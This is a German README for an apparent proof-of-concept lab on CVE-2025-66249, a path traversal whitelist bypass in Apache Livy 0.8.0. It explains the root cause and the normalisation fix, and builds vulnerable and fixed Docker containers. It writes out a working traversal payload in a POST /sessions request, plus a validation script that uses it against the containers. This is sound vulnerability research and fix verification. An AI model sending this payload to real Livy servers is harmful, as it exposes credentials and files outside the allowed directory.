
Ein POC für Apache Livy Path Traversal Whitelist Bypass Vulnerability
Nur für Bildungs- und Sicherheitsforschungszwecke. Nicht gegen Systeme verwenden, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben. → Vollständiger Haftungsausschluss
| Feld | Detail |
|---|---|
| CVE ID | CVE-2025-66249 |
| Schweregrad | Wichtig (CVSS N/A — NVD-Bewertung ausstehend, Stand 15.03.2026) |
| Betroffen | Apache Livy 0.3.0-incubating bis 0.8.0-incubating — nur wenn livy.file.local-dir-whitelist auf einen nicht standardmäßigen Wert gesetzt ist |
| Behoben in | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: Unzureichende Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis ('Path Traversal') |
| Gemeldet | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| Melder | Hiroki Egawa (Entdecker) |
Ein authentifizierter Benutzer mit Zugriff auf die REST- oder JDBC-Schnittstelle von Livy kann eine Spark-Sitzung oder einen Stapelauftrag mit einem manipulierten Dateipfad-Konfigurationswert einreichen, der die zulässige Verzeichnis-Whitelist umgeht.
Grundursache — Path-Traversal-Umgehung in der Whitelist-Prüfung (Session.scala)
Wenn livy.file.local-dir-whitelist konfiguriert ist, validiert Livy 0.8.0 eingereichte Pfade durch Aufruf von Java's String.startsWith() auf den rohen, nicht normalisierten Pfad. Diese Prüfung kann mit ../-Traversierungssequenzen umgangen werden:
/opt/safe-data/../sensitive/secret.txt
Der rohe String beginnt mit /opt/safe-data, daher besteht die Prüfung — aber der Pfad löst zu /opt/sensitive/secret.txt auf, der sich vollständig außerhalb des whitelistierten Verzeichnisses befindet.
Auslösebedingung: Die Schwachstelle kann nur ausgenutzt werden, wenn livy.file.local-dir-whitelist auf einen nicht standardmäßigen (nicht leeren) Wert gesetzt ist. Wenn die Whitelist leer ist (Standard), wird die Pfadvalidierung vollständig übersprungen und das Problem tritt nicht auf.
Auswirkung: Ein Angreifer, der eine Sitzung über die Livy-REST-API einreicht, kann auf beliebige lokale Dateien auf dem Livy-Server-Host zugreifen. In einem gemeinsam genutzten Analyse-Cluster führt dies potenziell zur Offenlegung von Anmeldeinformationen, Schlüsseln, Konfigurationsdateien oder anderen Daten, die für den Benutzer des Livy-Prozesses lesbar sind.
Session.scalaVerwundbar (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Behoben (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Beide Versionen wurden direkt aus dem offiziellen Apache Livy GitHub-Repository mit den folgenden genauen Befehlen geklont:
Repository: https://github.com/apache/incubator-livy
# Verwundbare Version — geklont in ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Behobene Version — geklont in ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| Version | Tag | Aufgelöster Commit | Lokaler Pfad |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: Paths.get().normalize() vor Whitelist-Prüfung import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
Auswirkung in v0.8.0:
Die rohe startsWith-Prüfung kann mit einem Path-Traversal-Payload umgangen werden.
Beispiel: Wenn livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (umgangen)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (blockiert)Die Unterschiede wurden durch lokales Klonen beider Tags (siehe oben) und Ausführen von:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← path starts with whitelisted prefix — String.startsWith() passes
← but resolves OUTSIDE the directory via ../ traversal
}
}
│
▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
Alle Schritte in diesem PoC wurden auf dem folgenden System ausgeführt und validiert:
| Komponente | Detail |
|---|---|
| Host-Betriebssystem | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Architektur | x86_64 |
| Gesamtspeicher | 15 GiB |
| Docker-Engine | 28.2.2 |
| Host-JDK | OpenJDK 17.0.18 (wird nur vom Host verwendet – Container verwenden eclipse-temurin:11-jdk-focal) |
| Container-Basisimage | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Spark-Version (beide Images) | 3.1.3 mit Hadoop 3.2 |
| Livy-Version — verwundbares Image | 0.8.0-incubating |
| Livy-Version — behobenes Image | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → image: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
Vollständige End-to-End-Sequenz — führen Sie die Schritte 1 bis 4 der Reihe nach aus:
Schritt 1: Verwundbares Image erstellen → Container starten → Prüfen, ob Livy läuft
Schritt 2: validate.sh ausführen → VERWUNDBAR bestätigen (Angriff HTTP 201) → Container stoppen
Schritt 3: Behobenes Image erstellen → Container starten → Prüfen, ob Livy läuft
Schritt 4: validate.sh ausführen → BEHOBEN bestätigen (Angriff HTTP 400) → Container stoppen
Hinweis: Livy benötigt nach
docker runetwa 15–20 Sekunden, um bereit zu sein. Alle folgenden Schritte enthalten ein explizitessleep 20vor jedem API-Aufruf.
Dateien:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — bindet auf 0.0.0.0:8998, lokaler Modus, Whitelist = /opt/safe-data1a. Image erstellen:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
Validierung — Image wurde erstellt:
docker images cve-2025-66249-vulnerable
Erwartete Ausgabe:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. Container starten:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
Validierung — Container läuft:
docker ps --filter name=livy-vulnerable
Erwartete Ausgabe:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. Warten, bis Livy gestartet ist, dann REST-API überprüfen:
Livy benötigt ~15–20 Sekunden zur Initialisierung, bevor es Anfragen bedient.
sleep 20
curl -s http://localhost:8998/sessions
Erwartete Ausgabe:
{"from":0,"total":0,"sessions":[]}
1d. Verzeichnislayout innerhalb des Containers validieren:
Bestätigen, dass die whitelistierte sichere Datei existiert:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Erwartete Ausgabe:
This file lives inside the whitelisted directory.
Bestätigen, dass die sensible Datei außerhalb der Whitelist existiert:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Erwartete Ausgabe:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
Der verwundbare Container aus Schritt 1 muss noch auf Port 8998 laufen.
Was test/validate.sh testet:
| # | Angriff | Payload-Schlüssel | Erwartetes Ergebnis bei Livy 0.8.0 |
|---|---|---|---|
| 1 | Path-Traversal über String.startsWith() in Session.scala | spark.jars mit ../-Traversierung | HTTP 201 — Traversierung umgeht Whitelist |
2a. Skript ausführen:
bash test/validate.sh
Hinweis:
validate.shfunktioniert wie folgt:
- Es pollt
GET /sessions, bis Livy antwortet (maximal 60 Sekunden), um zu bestätigen, dass der Server bereit ist.- Es sendet eine
POST /sessions-Anfrage übercurlmit einem manipuliertenconf-Payload, der eine Datei außerhalb der Whitelist (/opt/sensitive/secret.txt) mit../-Traversierung anvisiert.- Es liest den HTTP-Statuscode: 201 bedeutet, dass Livy den Pfad ohne Normalisierung akzeptiert hat (verwundbar); 400 bedeutet, dass Livy ihn nach Normalisierung abgelehnt hat (behoben).
- Wenn eine Sitzung erstellt wurde (HTTP 201), löscht das Skript sie sofort über
DELETE /sessions/{id}, um den Server sauber zu halten.- Nach dem Test gibt es eine Zusammenfassung aus und beendet sich mit Code 1 (verwundbar) oder 0 (behoben), was die Verwendung in automatisierten Pipelines ermöglicht.
Erwartete Ausgabe:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. Verwundbaren Container stoppen und entfernen:
docker stop livy-vulnerable && docker rm livy-vulnerable
Validierung — Container ist vollständig entfernt:
docker ps -a --filter name=livy-vulnerable
Erwartete Ausgabe (leer — keine Zeilen):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Dateien:
docker/fixed/Dockerfile — identisches Basisimage und Spark 3.1.3, nur Livy-Version ändert sich auf 0.9.0-incubatingdocker/fixed/livy.conf — identisch mit docker/vulnerable/livy.conf (gleiche Whitelist, Port, Modus)Durch die Beibehaltung von Spark, Basisimage und aller Konfigurationen identisch zu Schritt 1 wird Livy als einzige Variable isoliert.
3a. Image erstellen:
docker build -t cve-2025-66249-fixed docker/fixed/
Validierung — Image wurde erstellt:
docker images cve-2025-66249-fixed
Erwartete Ausgabe:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. Container starten:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
Validierung — Container läuft:
docker ps --filter name=livy-fixed
Erwartete Ausgabe:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. Warten, bis Livy gestartet ist, dann REST-API überprüfen:
sleep 20
curl -s http://localhost:8998/sessions
Erwartete Ausgabe:
{"from":0,"total":0,"sessions":[]}
3d. Verzeichnislayout innerhalb des Containers validieren:
Der behobene Container verwendet identische Fixtures wie der verwundbare — dies bestätigt, dass die einzige Variable zwischen den beiden Umgebungen die Livy-Version ist.
Bestätigen, dass die whitelistierte sichere Datei existiert:
docker exec livy-fixed cat /opt/safe-data/safe.txt
Erwartete Ausgabe:
This file lives inside the whitelisted directory.
Bestätigen, dass die sensible Datei außerhalb der Whitelist existiert:
docker exec livy-fixed cat /opt/sensitive/secret.txt
Erwartete Ausgabe:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
Der behobene Container aus Schritt 3 muss auf Port 8998 laufen. Das Skript ist identisch — keine Änderungen.
Was sich zwischen Schritt 2 und Schritt 4 ändert:
Paths.get().normalize() vor der Whitelist-Prüfung4a. Skript ausführen:
bash test/validate.sh
Erwartete Ausgabe:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
Was die Fehlermeldung bestätigt:
| Angriff | HTTP | Fehlermeldung | Behobene Ursache |
|---|---|---|---|
Path-Traversal über spark.jars | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Paths.get(...).normalize() in Session.scala hinzugefügt; löst ../ vor dem Whitelist-Vergleich auf |
4b. Behobenen Container stoppen und entfernen:
docker stop livy-fixed && docker rm livy-fixed
Validierung — Container ist vollständig entfernt:
docker ps -a --filter name=livy-fixed
Erwartete Ausgabe (leer — keine Zeilen):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249 ist ein einzelner, gezielter Logikfehler in der Whitelist-Durchsetzung, die Livys lokalen Dateisystemzugriff schützt.
Die Whitelist (livy.file.local-dir-whitelist) existierte in allen betroffenen Versionen und war korrekt konfiguriert. Der Fehler lag in der Art und Weise, wie die Whitelist ausgewertet wurde:
Path-Traversal-Umgehung (die einzige Schwachstelle): Der Whitelist-Vergleich in Session.scala verwendete Java's String.startsWith() auf dem rohen Pfadstring. Dies ist für Dateisystempfad-Vergleiche unzureichend, da es ..-Traversierungssegmente nicht berücksichtigt. Ein Pfad wie /opt/safe-data/../sensitive/secret.txt erfüllt die String-Prüfung gegen den Whitelist-Eintrag /opt/safe-data, löst jedoch zu einem Ort auf, der sich vollständig außerhalb davon befindet.
Der Fix in 0.9.0 ist minimal und gezielt: Ein Aufruf von Paths.get().normalize() wird vor dem Whitelist-Vergleich hinzugefügt. Dadurch werden alle ..-Segmente aufgelöst, bevor die startsWith-Prüfung ausgeführt wird, sodass der Traversierungs-Payload korrekt als außerhalb des erlaubten Verzeichnisses liegend identifiziert wird.
Wichtige Erkenntnis für Verteidiger: Die Schwachstelle ist nur ausnutzbar, wenn livy.file.local-dir-whitelist auf einen nicht leeren Wert gesetzt ist. Während die Standardkonfiguration nicht direkt verwundbar ist, ist paradoxerweise jede Bereitstellung, die die Whitelist verschärft hat (d. h. explizit eingeschränkt hat, auf welche Verzeichnisse Livy zugreifen darf), diejenige, die exponiert ist – denn es ist das Vorhandensein der Whitelist, das den fehlerhaften Codepfad aktiviert. Ein Upgrade auf Livy 0.9.0-incubating ist die einzige vollständige Abhilfe.
Beiträge zur Verbesserung dieses PoC oder der Dokumentation sind willkommen! Bitte stellen Sie sicher, dass alle Beiträge:
Um einen Beitrag zu leisten, öffnen Sie einen Pull-Request oder erstellen Sie ein Issue mit der Beschreibung der vorgeschlagenen Änderung.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.
Dieses Repository dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Der Proof of Concept demonstriert die Mechanik der Schwachstelle, um das Verständnis und Abwehrmaßnahmen zu unterstützen. Nicht gegen Systeme verwenden, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security string-startswith-bypass
path-normalisation